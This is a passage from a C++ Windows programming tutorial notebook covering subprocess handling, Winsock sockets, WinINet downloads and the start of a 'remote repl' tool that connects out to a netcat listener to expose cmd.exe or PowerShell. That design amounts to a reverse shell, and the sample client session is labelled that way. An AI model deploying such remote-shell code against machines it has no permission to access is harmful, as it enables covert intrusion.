        ::CloseHandle(hProcStdoutWrite);
        auto lin = std::pair<bool, std::string>{};
        while(lin = ReadLineFromHandle(hProcStdoutRead), lin.first)
                if(!consumer(std::move(lin.second))) break;
        return status;
} //--- EOf ReadOutput --- //

auto ProcessBuilder::GetOutput() -> std::string {
        std::stringstream ss;
        StreamLines([&ss](std::string line){
                        ss << line << '\n';
                        return true;
                });
        return ss.str();
}

auto ProcessBuilder::ReadLineFromHandle(HANDLE hFile) -> std::pair<bool, std::string> 
{
        std::stringstream ss; 
        DWORD bytesRead;
        char c;
        bool result;
        while(true){
                result = ::ReadFile(hFile, &c, 1, &bytesRead, nullptr); //, result
                if(GetLastError() == ERROR_HANDLE_EOF || GetLastError() == ERROR_BROKEN_PIPE){
                        // std::cerr << " [TRACE] Reach END OF FILE." << std::endl;
                        return std::make_pair(false, "");
                }               
                if(c == '\n') break;    
                ss << c;
        }
        // Return (NOTEOF?, string) => Flag returns false while end of file is not reached.
        std::string line = ss.str();
        char last = line[line.size()-1];
        if(last == '\r' || last == '\n')
                line = line.substr(0, line.size() - 2);
        return std::make_pair(!(bytesRead == 0 && result), ss.str());
};  

Building

Compiling MSVC:

$ cl.exe winprocess.cpp /EHsc /Zi /nologo /Fe:winprocess.exe 

Compiling Mingw/GCC:

$ g++ winprocess.cpp -o winprocess.exe -Wall -Wextra -std=c++14

Main function

The main function accepts a single argument which can be test0, test1, test2, test3 and test4. Each argument tests a different action.

int main(int argc, char** argv){
    if(argc < 2){
        std::cerr << "Usage: " << argv[0] << " [test0 | test1 | test2 | test3 | test4 ]" << std::endl;
        return EXIT_FAILURE;
    }
    auto tryExit = [&argc, &argv](std::function<int ()> Action) -> void {
         try {
             // End current process with exit code returned
             // from function
             int status = Action();         
             std::cerr << "[SUCCESS] End gracefully";
             std::exit(status);
         } catch(const std::runtime_error& ex)
         {
              std::cerr << "[ERROR  ] " << ex.what() << std::endl;
              std::exit(1);
         }      
    };

   /** Stream process output to stdout line by line. Print line read form subprocess 
    * output as soon as it arrives. */
   if(std::string(argv[1]) == "test0")
       tryExit([]{
               auto p = ProcessBuilder();
               p.SetProgram("ping 8.8.8.8");                
               std::puts("Stream output of process ping to stdout.");
               p.StreamLines([](std::string line){
                      std::cout << " line = " << line << std::endl;
                      return true;
                   });
               return EXIT_SUCCESS;
           });     

  /** Read whole process output and then print it to console and to a file. 
     * run $ dir . at path C:\\windows\\system32, read the whole process output 
     * as string printing it and saving it to a log file. (output.log)
     */
   if(std::string(argv[1]) == "test1")
     ... ... ... ... 
  
    std::cerr << "Error: invalid option " << std::endl; 
    return EXIT_FAILURE;
   }

Command test0

The command test0 stream process (ping.exe) output line by line read from the sub-process as soon as the process prints the line.

if(std::string(argv[1]) == "test0")
    tryExit([]{
       auto p = ProcessBuilder();
       p.SetProgram("ping 8.8.8.8");                
       std::puts("Stream output of process ping to stdout.");
       p.StreamLines([](std::string line){
            std::cout << " line = " << line << std::endl;
            return true;
         });
       return EXIT_SUCCESS;
       });

Output: $ winprocess.exe test0

$ winprocess.exe test0

Stream output of process ping to stdout.
 line =
 line = Pinging 8.8.8.8 with 32 bytes of data:
 line = Reply from 8.8.8.8: bytes=32 time=105ms TTL=127
 line = Reply from 8.8.8.8: bytes=32 time=106ms TTL=127
 line = Reply from 8.8.8.8: bytes=32 time=105ms TTL=127
 line = Reply from 8.8.8.8: bytes=32 time=106ms TTL=127
 line =
 line = Ping statistics for 8.8.8.8:
 line =     Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
 line = Approximate round trip times in milli-seconds:
 line =     Minimum = 105ms, Maximum = 106ms, Average = 105ms
[SUCCESS] End gracefully

Command test1

Runs the process $ dir . (dir.exe) at the directory C::\Windows\\System32\\, reads the whole process output containing the directory listening saving it to a string and writing it to a file named output.log.

if(std::string(argv[1]) == "test1")
    tryExit([]{
        std::puts("Get output of tasklist.");
         auto p = ProcessBuilder("dir .");      
         p.SetCWD("C:\\windows\\system32");
         std::cout << "Process output = " << std::endl;
         auto out = p.GetOutput();
         std::cout << out << std::endl;

         std::ofstream fs("output.log");
         fs << " ==>>> Process output = " << "\n";
         fs << " +=================+ " << "\n";
         fs << out; 
         return EXIT_SUCCESS;
   });

Output: $ winprocess.exe test1

$ winprocess.exe test1 

 ... ... ... ... 
wwanprotdim.dll
wwansvc.dll
wwapi.dll
xbgmengine.dll
xbgmsvc.exe
xboxgipsvc.dll
xboxgipsynthetic.dll
xcopy.exe
xh-ZA
xmlfilter.dll
xmllite.dll
... .... ... .... ... .... 

Command test2

Launch a process (for window subsystem), notepad.exe and wait for its termination.

if(std::string(argv[1]) == "test2")
   tryExit([]{
          std::puts("Launch process and wait for its termination");
          auto p = ProcessBuilder("notepad");
          p.Run();
          std::cout << "Waiting for process termination" << std::endl;
          p.Wait();
          std::cout << "Process terminated. OK." << std::endl;
          return EXIT_SUCCESS;
    }); 

Output: $ winprocess.exe test2

  • The sub-process notepad.exe (window subsystem) is launched and then the program waits for its termination.
$ winprocess.exe test2
Launch process and wait for its termination
Waiting for process termination
Process terminated. OK.
[SUCCESS] End gracefully

Command test3

Launch sub-process notepad.exe without waiting and waits for user to type RETURN. When user types this key, the process is terminated.

if(std::string(argv[1]) == "test3")
        tryExit([]{
            std::puts("Launch process and wait for its termination");
            auto p = ProcessBuilder("notepad");
            p.Run();
            std::cout << "Enter RETURN to terminate process => PID = " << p.GetPID() << std::endl;
            std::cin.get();
            p.Terminate();
            std::cout << " Process terminated OK.";
            return EXIT_SUCCESS;
        });

Output:

$ winprocess.exe test3
Launch process and wait for its termination
Enter RETURN to terminate process => PID = 2324

 Process terminated OK.[SUCCESS] End gracefully

Class ProcessBuilder

//========= File: ProcessBuilder.hpp - Header ===================//

/** Requires: <iostream> <string>, <functional> <vector> <windows.h> */
class ProcessBuilder
{
private:
    // Program to be run 
    std::string              m_program;
    // Arguments passed to the program 
    std::vector<std::string> m_args = {};
    // If this flag is true, the program is launched on console 
    bool                     m_console = true;
    std::string              m_cwd; 
    STARTUPINFO              m_si = { sizeof(STARTUPINFO)};
    PROCESS_INFORMATION      m_pi;
public: 
    using SELF = ProcessBuilder&;
    using LineConsumer = std::function<bool (std::string)>;

    ProcessBuilder() = default;
    ProcessBuilder(const std::string& program, const std::vector<std::string>& args = {});
    ProcessBuilder(const ProcessBuilder&) = delete;
    auto operator=(const ProcessBuilder&)  = delete;    
    ~ProcessBuilder();
    ProcessBuilder(ProcessBuilder&& rhs);
    auto operator=(ProcessBuilder&& rhs) -> SELF;
    auto SetProgram(const std::string& program) -> SELF;    
    auto SetConsole(bool flag) -> SELF;
    /** Set process directory.
     * @param path - Process directory path.
     */
    auto SetCWD(const std::string& path) -> SELF;   
    /** Start process without waiting for its termination.  */
    auto Run() -> bool;
    auto Wait() -> void;
    // Start process and wait for its termination. 
    auto RunWait() -> bool;
    auto GetPID() -> DWORD;
    auto Terminate() -> bool;
    auto isRunning() -> bool;   
    auto StreamLines(LineConsumer consumer) -> bool; 
    auto GetOutput() -> std::string;    
private:
    auto ReadLineFromHandle(HANDLE hFile) -> std::pair<bool, std::string>;  
}; //========= End of Class ProcessBuilder ===== // 

1.27 Windows Socket - Winsock

1.27.1 Overview

Winsock API

  • Winsock 1.x - Adapation from BSD Berkley Socket API used by most Unix-like operating systems.
  • Winsock 2.x - Provides new features:
    • Overlapped IO
    • Asynchrnous calls and callbacks
    • Layered service provided - LSP architechture.
  • Note: Unlike Unix implementation of sockets - BSD sockets, Winsocks API doesn't allow read/write operations with sockets as they where files, as a result, casting to file pointer from <stdio.h> doesn't work and leads to the program crashing at runtime. However, socket can be casted to Windows HANDLES and manipulated with Win32 File IO functions.
  • Note: Windows Sockets are not portable and specific to only Windows, so in order to write an operating system agnostic network code, it is necessary to use an high level network library such as Boost-ASIO library or POCO frameworks.1

Headers and Libraries

  • <windows.h>
  • <winsock2.h>

Library:

  • Ws2_32.lib
  • Ws2_32.dll

Main System Calls

System Call Target Description
socket() client or server socket Create a socket
listen() server socket Server socket listen for incoming connections.
accept() server socket Make a server socket ccept a connection from a client socket.
     
connect() client socket Stablish a connection from a client socket to a server socket.
send() client or server socket Send data to socket
sednto() client or server socket Send data to non connected socket
recev() client or server socket Receives data/bytes from connected socket
recevfrom() client or server socket Receives data from non connected socket
     
shutdown() client or server socket Disables send and receive on socket
closesocket() client or server socket Close a socket, closing the connection.
     

Creating a socket:

  • af : Address familty
    • PF_INET
    • AF_INET - IP Protocol
  • type: Connection-oriented (TCP) or Datagra-oriented (UDP)
    • SOCK_STREAM - (TCP) Connection-Oriented.
    • SOCK_DGRAM - (UDP) Datagram-Oriented.
  • protocol: Unecessary when the af is AF_INET and can be set to 0.
  • Return: Socket handler and returns the constant INVALID_SOCKET on failure.
SOCKET socket(int af, int type, int protocol)

Socket-Client Function

  • s - socket object created with the function socket.
  • lpName - Hostname of machine to be connected, IP address.
  • nNameLen - sizeof(struct sockaddr_in)
  • RETURN: Returns 0 to indicate a successfull connection and SOCKET_ERROR for connection failure.
int connect(SOCKET s, LPSOCKADDR lpName, int nNameLen);

Byte Ordering FunctionsBeej's Guide to Network Programming

  • htons() - Host to network short
  • htonl() - Host ot network long
  • ntohs() - Network to Host Short
  • ntohl() - Network to host long

Data Structure hostent

struct hostent {
    // Official name of the host (PC).
    char FAR *  h_name;           
    // A NULL -terminated array of alternate names.
    char FAR * FAR *h_aliases;    
    // The type of address being returned; for Windows Sockets this is always PF_INET.
    short       h_addrtype;       
    // The length, in bytes, of each address; for PF_INET, this is always 4.
    short       h_length;         
    // A NULL-terminated list of addresses for the host. Addresses are returned in network byte order.
    char FAR * FAR *h_addr_list;  
};

Data Structure in_addr

/*
 * Internet address (old style... should be updated)
 */
struct in_addr {
        union {
                struct { u_char s_b1,s_b2,s_b3,s_b4; } S_un_b;
                struct { u_short s_w1,s_w2; } S_un_w;
                u_long S_addr;
        } S_un;

Data structures - sockaddr and sockaddr_6

See: https://www.tenouk.com/Winsock/Winsock2example7.html

  • IPv4
struct sockaddr {
 ushort sa_family;
 char sa_data[14];
};

struct sockaddr_in {
        short   sin_family;
        u_short sin_port;
        struct  in_addr sin_addr;
        char    sin_zero[8];
};
  • IPv6
struct sockaddr_in6 {
        short   sin6_family;
        u_short sin6_port;
        u_long  sin6_flowinfo;
        struct  in6_addr sin6_addr;
        u_long  sin6_scope_id;
};

typedef struct sockaddr_in6 SOCKADDR_IN6;
typedef struct sockaddr_in6 *PSOCKADDR_IN6;
typedef struct sockaddr_in6 FAR *LPSOCKADDR_IN6;

Data Structure WSAData

Before using Winsocks, it is necessary to initialize the library with the function WSAStartup and the data structure WSDATA. After the program has finished its execution, it necessary to run WSACleanup function.

typedef struct WSAData {
 WORD wVersion;
 WORD wHighVersion;
 char szDescription[WSADESCRIPTION_LEN+1];
 char szSystemStatus[WSASYS_STATUS_LEN+1];
 unsigned short iMaxSockets;
 unsigned short iMaxUdpDg;
 char FAR* lpVendorInfo;
} WSADATA, *LPWSADATA; 

Example:

WSADATA wd;
// Intialize with Winsocks 1.0 
WSAStartup(MAKEWORD(1, 0), &wd);
// Intialize with Winsocks 2.0 
WSAStartup(MAKEWORD(2, 2), &wd);
// Intialize with Winsocks 2.0 
WSAStartup(MAKEWORD(2, 0), &wd);

References:

1.27.2 CODE - Show IPv4 address of a hostname

File: showIP.cpp

/* Show IPV4 Address of a given hostname
 *===================================*/

#include <iostream>
#include <string.h>
#include <windows.h>

int main(int argc, char *argv[])
{
  if(argc != 2){
    std::cerr << "Usage: " << argv[0] << " <hostname> " << std::endl;
    return EXIT_FAILURE;
  }
  // Initialize Winsock 2.2 
  WSADATA wsaData;
  WSAStartup(MAKEWORD(2, 2), &wsaData);

  hostent* host = gethostbyname(argv[1]);
  char *ip = inet_ntoa(*reinterpret_cast<in_addr*>(*host->h_addr_list));

  std::cout << " ipv4 Address = " << ip                << std::endl;
  std::cout << " hostname     = " << host->h_name      << std::endl;
  std::cout << " Address type = " << host->h_addrtype  << std::endl;

  WSACleanup();
  return EXIT_SUCCESS;
}

Compiling and runnign with MSVC:

$ cl.exe showIP.cpp /EHsc /Zi /nologo /Fe:out.exe ws2_32.lib && showip.exe 

Compiling and runnign with Mingw/GCC:

$ g++ showIP.cpp -o showip.exe -std=c++11 -lws2_32 && showip.exe 

Running:

$ showip.exe
Usage: showip.exe <hostname>

$ showip.exe www.google.co
 ipv4 Address = 172.217.29.110
 hostname     = www3.l.google.com
 Address type = 2

$ showip.exe www.yandex.com
 ipv4 Address = 213.180.204.62
 hostname     = www.yandex.com
 Address type = 2

$ showip.exe www.bing.ca
 ipv4 Address = 204.79.197.219
 hostname     = a-0016.a-msedge.net
 Address type = 2

1.27.3 CODE - Basic Socket Client

  1. Setup and usage

    Source:

    Source Files

    FIle: client-socket-shell1.cpp

    #include <iostream>
    #include <string>
    #include <windows.h>
    #pragma comment (lib, "Ws2_32.lib")
    // #pragma comment (lib, "Mswsock.lib")
    // #pragma comment (lib, "AdvApi32.lib")
    
    int main(int argc, char** argv){
            if(argc < 3){
                    std::cerr << "Usage: " << argv[0] << " [HOSTNAME or ADDRESS] [PORT]" << std::endl;
                    return EXIT_FAILURE;
            }
    
            // Client configuration 
            const char*  host = argv[1];
            unsigned int port = std::stoi(argv[2]);
    
            //Start up Winsock…
            WSADATA wsadata;
            int error = WSAStartup(0x0202, &wsadata);
            if(error){
                    std::cerr << "Error: failed to initialize WinSock." << std::endl;
                    return EXIT_FAILURE;
            }
    
            // Create client socket 
            SOCKET client = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
            if(client == INVALID_SOCKET){
                 std::cerr << "Error, I cannot create socket" << std::endl;
                 return EXIT_FAILURE;
            }
            SOCKADDR_IN  addr;
            memset(&addr, 0, sizeof(addr));
            addr.sin_family      = AF_INET;
            addr.sin_addr.s_addr = inet_addr(host);
            addr.sin_port        = htons(port);
    
            // Attemp to connect to server and exit on failure. 
            int connval = connect(client, reinterpret_cast<sockaddr*>(&addr), sizeof(addr));
            if(connval == SOCKET_ERROR){
                 std::cerr << "Error: cannot connect to server." << std::endl;
                 //Returns status code other than zero
                 return EXIT_FAILURE;
            }
    
            std::string msgClientConnect = " [CLIENT] Connected to server OK.\n";   
            ::send(client, msgClientConnect.c_str(), msgClientConnect.size(), 0);
    
            std::string msg = " [CLIENT SHELL]>> ";
            std::string echo;
    
            bool flag = true;
            while(flag){    
                ::send(client, msg.c_str(), msg.size(), 0);
                // Create a buffer with 2024 bytes or 2kb
                std::string buffer(2024, 0);
                //Returns the number of received bytes 
                int n = ::recv(client, &buffer[0], buffer.size()-1, 0);
                echo = " => [ECHO] " + buffer + "\n";
                ::send(client, echo.c_str(), echo.size(), 0);
                if(WSAGetLastError() == SOCKET_ERROR){
                        std::cerr << "Disconnected OK." << std::endl;
                        flag  = false;
                        break;
                } else {
                        buffer.resize(n);
                        if(buffer == "exit\n" ){
                                std::string exitMessage = " [CLIENT] Disconnect gracefully - OK.\n";
                                ::send(client, exitMessage.c_str(), exitMessage.size(), 0);             
                                std::cerr << "[LOG] I got an exit message. Shutdowing socket now!" << "\n";
                                std::cerr << "[LOG] Gracifully disconnecting application" << "\n";
                                std::cerr.flush();
                                break;
                        }        
                        std::cout << " [SERVER SENT] >> " << buffer ; //<< std::endl;
                        // Force writing buffer to the stdout
                        std::cout.flush();
                }
            }
            std::cerr << "Finished." << std::endl;   
            ::closesocket(client);
            ::WSACleanup();    
            // Returns status code 0
            return EXIT_SUCCESS;
    }
    

    Build

    • MSVC:
    $ cl.exe client-socket-shell1.cpp /EHsc /Zi /nologo  
    
    • Mingw/GCC
    λ  g++ client-socket-shell1.cpp -o winsock-client-shell1.exe -std=c++1z -lws2_32
    

    Usage:

    STEP 1 - Set up a server with netcat from local computer or remote machine. In this case netcat is set up from a Linux box.

    • Note: The IP address from the server side can be obtained with the command $ ipconfig on Windows NT and $ ifconfig on Linux, Android, MacOSX, BSD and so on.
    $ nc -v -l 9090
    Ncat: Version 7.60 ( https://nmap.org/ncat )
    Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
    Ncat: SHA-1 fingerprint: 00D2 1683 8C75 26DC 74CD 6B3C 52BF D3DE 1FD0 18F5
    Ncat: Listening on :::9090
    Ncat: Listening on 0.0.0.0:9090
    

    STEP 2 - Connect to server from Windows by runnign the client program.

    λ client-socket-shell1.exe
    Usage: client-socket-shell1.exe [HOSTNAME or ADDRESS] [PORT]
    
    λ client-socket-shell1.exe 192.168.18.90 9090
     [SERVER SENT] >>
    

    If the netcat server is running in the same machine, the address is 127.0.0.1 or localhost and the command for connecting to the server is:

    λ client-socket-shell1.exe localhost 9090
    # OR: 
    λ client-socket-shell1.exe 127.0.0.1 9090
    

    STEP 3 - Send commands to client program from server terminal (netcat).

    $ nc -v -l 9090
    Ncat: Version 7.60 ( https://nmap.org/ncat )
    Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
    Ncat: SHA-1 fingerprint: 00D2 1683 8C75 26DC 74CD 6B3C 52BF D3DE 1FD0 18F5
    Ncat: Listening on :::9090
    Ncat: Listening on 0.0.0.0:9090
    
    Ncat: Connection from 192.168.18.161.
    Ncat: Connection from 192.168.18.161:50278.
     [CLIENT] Connected to server OK.
     [CLIENT SHELL]>>  => [ECHO]
    
     [CLIENT SHELL]>>
    
    

    STEP 4 - Type any commands from server side and they will be to the client side which will echo it back to the server.

    Ncat: Connection from 192.168.18.161.
    Ncat: Connection from 192.168.18.161:50278.
     [CLIENT] Connected to server OK.
     [CLIENT SHELL]>>  => [ECHO]
    
     [CLIENT SHELL]>> command arg0 arg1 arg2 arg3
     => [ECHO] command arg0 arg1 arg2 arg3
    
     [CLIENT SHELL]>> ls -la
     => [ECHO] ls -la
    
     [CLIENT SHELL]>> cd /
     => [ECHO] cd /
    
     [CLIENT SHELL]>> uname -a
     => [ECHO] uname -a
    
     [CLIENT SHELL]>> reverse shell - echo shell
     => [ECHO] reverse shell - echo shell
    
    [CLIENT SHELL]>> exit
    => [ECHO] exit
    
    [CLIENT] Disconnect gracefully - OK.
    

    STEP 5 - Output in the client terminal (Windows):

    λ client-socket-shell1.exe 192.168.18.90 9090
     [SERVER SENT] >>
     [SERVER SENT] >> command arg0 arg1 arg2 arg3
     [SERVER SENT] >> ls -la
     [SERVER SENT] >> cd /
     [SERVER SENT] >> uname -a
     [SERVER SENT] >> reverse shell - echo shell
    
  2. Parts

    Get client socket configuration from command line:

    int main(int argc, char** argv){
        if(argc < 3){
                std::cerr << "Usage: " << argv[0] << " [HOSTNAME or ADDRESS] [PORT]" << std::endl;
                return EXIT_FAILURE;
        }
    
        // Client configuration 
        const char*  host = argv[1];
        unsigned int port = std::stoi(argv[2]);
        ... ... ...    ... ... ...    ... ... ...
    

    Start up Winsock data structure:

    • Note: WSAStartup(0x0202, &wsadata) => Intializes Winsock 2.2 API.
    //Start up Winsock…
    WSADATA wsadata;
    int error = WSAStartup(0x0202, &wsadata);
    if(error){
            std::cerr << "Error: failed to initialize WinSock." << std::endl;
            return EXIT_FAILURE;
    }
    

    Create client socket:

    // Create client socket 
    SOCKET client = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(client == INVALID_SOCKET){
            std::cerr << "Error, I cannot create socket" << std::endl;
            return EXIT_FAILURE;
    }
    SOCKADDR_IN  addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family      = AF_INET;
    addr.sin_addr.s_addr = inet_addr(host);
    addr.sin_port        = htons(port);
    

    Attemp to connect to server and exit if there is any failure:

    // Attemp to connect to server and exit on failure. 
    int connval = connect(client, reinterpret_cast<sockaddr*>(&addr), sizeof(addr));
    if(connval == SOCKET_ERROR){
            std::cerr << "Error: cannot connect to server." << std::endl;
            //Returns status code other than zero
            return EXIT_FAILURE;
    }
    

    Send message "[CLIENT] Connected to server OK" to server once the client is connected:

    std::string msgClientConnect = " [CLIENT] Connected to server OK.\n";   
    ::send(client, msgClientConnect.c_str(), msgClientConnect.size(), 0);
    
    std::string msg = " [CLIENT SHELL]>> ";
    std::string echo;
    

    Main loop:

    • Send prompt string to server "[CLIENT SHELL]>> "
    • Receive command from server typed in the server terminal by the user.
    • Echo command back to server.
    • If server send command "exit", the client exits the main loop and diconnets from server sending the message " [CLIENT] Disconnect gracefully - OK".
    bool flag = true;
    while(flag){    
       ::send(client, msg.c_str(), msg.size(), 0);
       // Create a buffer with 2024 bytes or 2kb
       std::string buffer(2024, 0);
       //Returns the number of received bytes 
       int n = ::recv(client, &buffer[0], buffer.size()-1, 0);
       echo = " => [ECHO] " + buffer + "\n";
       ::send(client, echo.c_str(), echo.size(), 0);
       if(WSAGetLastError() == SOCKET_ERROR){
           std::cerr << "Disconnected OK." << std::endl;
           flag  = false;
           break;
       } else {
           buffer.resize(n);
           if(buffer == "exit\n" ){
                   std::string exitMessage = " [CLIENT] Disconnect gracefully - OK.\n";
                   ::send(client, exitMessage.c_str(), exitMessage.size(), 0);              
                   std::cerr << "[LOG] I got an exit message. Shutdowing socket now!" << "\n";
                   std::cerr << "[LOG] Gracefully disconnecting application" << "\n";
                   std::cerr.flush();
                   break;
           }        
           std::cout << " [SERVER SENT] >> " << buffer ; //<< std::endl;
           // Force writing buffer to the stdout
           std::cout.flush();
       }
    }
    

    Cleanup Winsock, release resource and exit application.

    std::cerr << "Finished." << std::endl;   
    ::closesocket(client);
    ::WSACleanup();    
    // Returns status code 0
    return EXIT_SUCCESS;
    

1.28 WinlNet and UrlMon - APIs for HTTP and FTP protocol

1.28.1 Overview

Windows provides many ready-to-use high level APIs for accessing most used internet procols such as Http and Ftp, which makes easier to deal with those protocols without reiventing the whell and caring about their implementation or low level details. Those APIs are exposed through the DLLs wininet.dll and urlmon.dll.

See: WinINet Functions | Microsoft Docs

Functions in wininet.dll

  • InternetOpen
    • Initializes Winnet environment. This function must be called before any other Winnet function.
HINTERNET WINAPI InternetOpen(
    LPCTSTR lpszAgent,
    DWORD   dwAccessType,
    LPCTSTR lpszProxyName, 
    LPCTSTR lpszProxyBypass, 
    DWORD   dwFlags
);
  • InternetConnect
    • Starts new HTTP or FTP session
HINTERNET InternetConnect(
    HINTERNET       hInternet,
    LPCTSTR         lpszServerName,
    INTERNET_PORT   nServerPort,
    LPCTSTR         lpszUsername,
    LPCTSTR         lpszPassword,
    DWORD           dwService,
    DWORD           dwFlags,
    DWORD_PTR       dwContext
);
  • HttpOpenRequest
  • HttpQueryInfo
  • HttpAddRequestHeaders
  • HttpSendRequest
  • HttpSendRequest
  • InternetReadFile
  • InternetCloseHandle
    • Close internet connection and ends any ongoing operation.
BOOL InternetCloseHandle(
    HINTERNET hInternet
);
  • InternetReadFile
BOOL InternetReadFile(
    HINTERNET hFile,
    LPVOID    lpBuffer,
    DWORD     dwNumberOfBytesToRead,
    LPDWORD   lpdwNumberOfBytesRead
);

1.28.2 Example

Source:

File

File: winlNet-basic.cpp

#include <iostream>
#include <vector>
#include <string>
#include <cstdio>

#include <windows.h>
#include <urlmon.h>    //Provides URLDownloadToFileW 
#include <wininet.h>   
#include <tchar.h> 

// Only for MSVC
#pragma comment(lib, "urlmon.lib")
#pragma comment(lib, "wininet.lib")

auto launchedFromConsole() -> bool;

// Simple C++ wrapper for the function: URLDownloadToFileA
HRESULT downloadFile(std::string url, std::string file);

void testHTTPRequest();

int main(){
        // ==================  File Download  ========================= //
        //
        HRESULT hr;

        hr = downloadFile("http://httpbin.org/image/jpeg", "image.jpeg");   
        if(SUCCEEDED(hr))
                std::cout << "Download successful OK." << '\n';
        else
                std::cout << "Download failed." << '\n';

        hr = downloadFile("httpxpabin.org/image/jpeg-error", "image2.jpeg");    
        if(SUCCEEDED(hr))
                std::cout << "Download sucessful OK." << '\n';
        else
                std::cout << "Download failed." << '\n';

        //=============== HTTP Protocol ===================================//
        //
        testHTTPRequest();

        if(!launchedFromConsole()){
                std::cout << "Type RETURN to exit" << std::endl;
                std::cin.get();     
        }   
        return 0;
}

auto launchedFromConsole() -> bool {
        DWORD procIDs[2];
        DWORD maxCount = 2;
        DWORD result = GetConsoleProcessList((LPDWORD)procIDs, maxCount);
        return result != 1;
}

HRESULT downloadFile(std::string url, std::string file){
        HRESULT hr = URLDownloadToFileA(
                // (pCaller)    Pointer to IUknown instance (not needed)
                NULL
                // (szURL)      URL to the file that will be downloaded
                ,url.c_str()
                // (szFileName) File name that the downloaded file will be saved.
                ,file.c_str()
                // (dwReserved) Reserverd - always 0
                ,0
                // (lpfnCB)     Status callback
                ,NULL       
                );
        return hr;
}

void testHTTPRequest(){
        // Reference: http://www.cplusplus.com/forum/beginner/75062/
        HINTERNET hConnect = InternetOpen("Fake browser",INTERNET_OPEN_TYPE_PRECONFIG,NULL, NULL, 0);
        if(!hConnect){
                std::cerr << "Error: Connection Failure.";
                return;
        }

        HINTERNET hAddr = InternetOpenUrl(
                hConnect
                ,"http://www.httpbin.org/get"
                ,NULL
                ,0
                ,INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION
                ,0
                );

        if ( !hAddr )
        {
                DWORD errorCode = GetLastError();
                std::cerr << "Failed to open URL" << '\n' << "Error Code = " << errorCode;
                InternetCloseHandle(hConnect);
                return;
        }

        // Buffer size - 4kb or 4096 bytes 
        char  bytesReceived[4096];
        DWORD NumOfBytesReceived = 0;
        while(InternetReadFile(hAddr, bytesReceived, 4096, &NumOfBytesReceived) && NumOfBytesReceived )
        {
                std::cout << bytesReceived;
        }

        InternetCloseHandle(hAddr);
        InternetCloseHandle(hConnect);

} //

Compiling and running:

Compile with MSVC:

$ cl.exe winlNet-basic.cpp /EHsc /Zi /nologo /Fe:winlNet.exe

Compile with Mingw/GCC:

$ g++ winlNet-basic.cpp -o winlNet-basic.exe -lwininet -lurlmon -std=c++14

Running:

$ winlNet-basic.exe 

Download successful OK.
Download failed.
{
  "args": {}, 
  "headers": {
    "Cache-Control": "no-cache", 
    "Connection": "close", 
    "Host": "www.httpbin.org", 
    "User-Agent": "Fake browser"
  }, 
  "origin": "177.36.10.17", 
  "url": "http://www.httpbin.org/get"
}
Öa/
Compilation finished at Mon Sep  3 09:53:07

Parts

  • Function downloadFile - Wrappers WinlNet function URLDownloadToFileA (ANSI version of URLDownloadToFile) to make it more C++-friendly. This function just downloads a file from a URL.
HRESULT downloadFile(std::string url, std::string file){
   HRESULT hr = URLDownloadToFileA(
        // (pCaller)    Pointer to IUknown instance (not needed)
        NULL
        // (szURL)      URL to the file that will be downloaded
        ,url.c_str()
        // (szFileName) File name that the downloaded file will be saved.
        ,file.c_str()
        // (dwReserved) Reserverd - always 0
        ,0
        // (lpfnCB)     Status callback
        ,NULL       
        );
   return hr;
}

Tests HTTP GET request to http:://www.httpbin.org/get

void testHTTPRequest(){
     // Reference: http://www.cplusplus.com/forum/beginner/75062/
     HINTERNET hConnect = InternetOpen("Fake browser",INTERNET_OPEN_TYPE_PRECONFIG,NULL, NULL, 0);
     if(!hConnect){
             std::cerr << "Error: Connection Failure.";
             return;
     }
     HINTERNET hAddr = InternetOpenUrl(
          hConnect
          ,"http://www.httpbin.org/get"
          ,NULL
          ,0
          ,INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION
          ,0
          );

     if ( !hAddr )
     {
          DWORD errorCode = GetLastError();
          std::cerr << "Failed to open URL" << '\n' << "Error Code = " << errorCode;
          InternetCloseHandle(hConnect);
          return;
     }

     // Buffer size - 4kb or 4096 bytes 
     char  bytesReceived[4096];
     DWORD NumOfBytesReceived = 0;
     while(InternetReadFile(hAddr, bytesReceived, 4096, &NumOfBytesReceived) && NumOfBytesReceived )
     {
             std::cout << bytesReceived;
     }

     InternetCloseHandle(hAddr);
     InternetCloseHandle(hConnect);

} // --- EoF testHTTPRequest() --- // 

Main function:

// ==================  File Download  ========================= //
//
HRESULT hr;

hr = downloadFile("http://httpbin.org/image/jpeg", "image.jpeg");   
if(SUCCEEDED(hr))
        std::cout << "Download successful OK." << '\n';
else
        std::cout << "Download failed." << '\n';

hr = downloadFile("httpxpabin.org/image/jpeg-error", "image2.jpeg");    
if(SUCCEEDED(hr))
    std::cout << "Download sucessful OK." << '\n';
else
    std::cout << "Download failed." << '\n';

//=============== HTTP Protocol ===================================//
//
testHTTPRequest();

if(!launchedFromConsole()){
        std::cout << "Type RETURN to exit" << std::endl;
        std::cin.get();     
}   
return 0;

1.29 Remote repl - telnet-like application

The following remote repl (Read-Eval-Print-Loop) application allows accessing Windows shells, such as Powershell or cmd.exe, from remote machines, including Linux or MacOSX machines. The application can work in server-mode, which the programs waits for remote client to connect, or in client-mode, which the program connects to an already running netcat server. The sample application was used for remotely accessing a Windows 10 virtual machine from Linux through a NAT (Network Address Translator) network interface.

Project Files

File: CMakeLists.txt

cmake_minimum_required(VERSION 3.0)
project(cpp-windows)

set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_VERBOSE_MAKEFILE ON)

       add_executable(remote-repl remote-repl.cpp)
target_link_libraries(remote-repl ws2_32)

File: remote-repl.cpp

 #include <iostream>
#include <string>
#include <cassert>
// #include <exception>
// #include <new>

#include <winsock2.h>
#include <windows.h>


class Socket
{
private:
  std::string m_host;
  bool        m_cleanup;
  int         m_port;
  SOCKET      m_socket;
  SOCKADDR_IN m_addr;
  static bool isInitialized;

public:

  // Disable copy contructor
  Socket(const Socket& sock) = delete;

  Socket(Socket&& ) = default;

  Socket()
  {
    // Set up client 2.2
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2,2), &wsaData);
    // m_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    m_socket = WSASocket( AF_INET
